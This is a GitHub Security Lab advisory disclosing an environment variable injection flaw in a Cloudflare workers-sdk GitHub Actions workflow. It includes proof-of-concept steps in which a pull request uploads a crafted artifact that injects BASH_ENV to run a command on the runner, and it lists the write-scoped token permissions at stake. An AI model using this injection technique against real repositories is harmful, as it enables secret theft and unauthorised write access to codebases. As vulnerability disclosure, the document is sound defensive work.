GHSL-2024-252: Environment variable injection in Cloudflare workers-sdk

Coordinated Disclosure Timeline

2024-09-30: Reported through HackerOne Bug Bounty program.
2024-10-07: Cloudflare informs us that the repository requires explicit approvals for running workflows from outside collaborators and does not plan on implementing any security in-depth mitigations. Issue is closed as Informative.

Summary

Cloudflare workers-sdk write-prerelease-comment.yml workflow is vulnerable to environment variable injection which may allow an attacker to leak secrets and gain write access to the repository.

Project

Cloudflare workers-sdk

Tested Version

Latest commit at the time of reporting.

Details

Environment Variable Injection in `write-prerelease-comment.yml` (`GHSL-2024-252`)

The write-prerelease-comment.yml workflow is triggered when a workflow called “Create Pull Request Prerelease” finishes.

on: workflow_run: workflows: ["Create Pull Request Prerelease"] types: - completed 

An attacker may create a pull request that modifies the triggering “Create Pull Request Prerelease” workflow and uploads arbitrary artifacts before triggering the Vulnerable workflow.

The job comment gets executed if github.repository_owner == 'cloudflare' but this condition is always true in the context of a workflow_run triggered workflow since it runs in the context of the default branch so it offers no protection.

jobs: comment: if: ${{ github.repository_owner == 'cloudflare' }}

The workflow then runs “Put PR and workflow ID on the environment” and then downloads the artifacts from the triggering workflow:

 - name: "Download runtime versions" # Regular `actions/download-artifact` doesn't support downloading # artifacts from another workflow uses: dawidd6/action-download-artifact@v2 with: run_id: ${{ github.event.workflow_run.id }} name: runtime-versions.md - name: "Put runtime versions on the environment" id: runtime_versions run: | { echo 'RUNTIME_VERSIONS<<EOF' cat runtime-versions.md echo EOF } >> "$GITHUB_ENV" 

Since the contents of the artifact are not validated, an attacker may craft a malicious runtime-versions.md file with multiple lines on it which will be used to set up new environment variables. By injecting a new environment variable called BASH_ENV, an attacker will be able to run arbitrary code when the next run: step triggers.

Steps to reproduce

Fork the cloudflare/workers-sdk repo.
Clone your fork: gh repo clone pwntester/workers-sdk
Create a new branch: git checkout -b poc
Modify the .github/workflows/create-pullrequest-prerelease.yml to have the following contents:

name: Create Pull Request Prerelease on: pull_request: jobs: test: runs-on: ubuntu-latest steps: - run: | cat << 'EOF2' > runtime-versions.md FOO EOF BASH_ENV<<EOF3 $(id 1>&2) EOF3 DUMMY<<EOF DUMMY EOF2 - run: | cat runtime-versions.md - name: Upload runtime versions uses: actions/upload-artifact@v3 with: name: runtime-versions.md path: runtime-versions.md - run: | cat << 'EOF2' > prerelease-report.md FOO EOF BASH_ENV<<EOF3 $(id 1>&2) EOF3 DUMMY<<EOF DUMMY EOF2 - run: | cat prerelease-report.md - name: Upload runtime versions uses: actions/upload-artifact@v3 with: name: prerelease-report.md path: prerelease-report.md 

Commit the change to your branch: git add . ; git commit -m "Add Payload"
Create a Pull Request from your poc branch to cloudflare/workers-sdk
Watch the execution of Create Pull Request Prerelease
When it finishes, watch the execution of Write prerelease comment.
Watch the output of the Put pre-release report on the environment step. The first line should be the output of the id command:

uid=1001(runner) gid=127(docker) groups=127(docker),4(adm),101(systemd-journal)

Impact

The workflow runs in the context of a full-write GITHUB_TOKEN token:

https://github.com/cloudflare/workers-sdk/actions/runs/11106549077/job/30855119163

GITHUB_TOKEN Permissions Actions: write Attestations: write Checks: write Contents: write Deployments: write Discussions: write Issues: write Metadata: read Packages: write Pages: write PullRequests: write RepositoryProjects: write SecurityEvents: write Statuses: write 

Credit

This issue was discovered and reported by GHSL team member @pwntester (Alvaro Muñoz).

Contact

You can contact the GHSL team at securitylab@github.com, please include a reference to GHSL-2024-252 in any communication regarding this issue.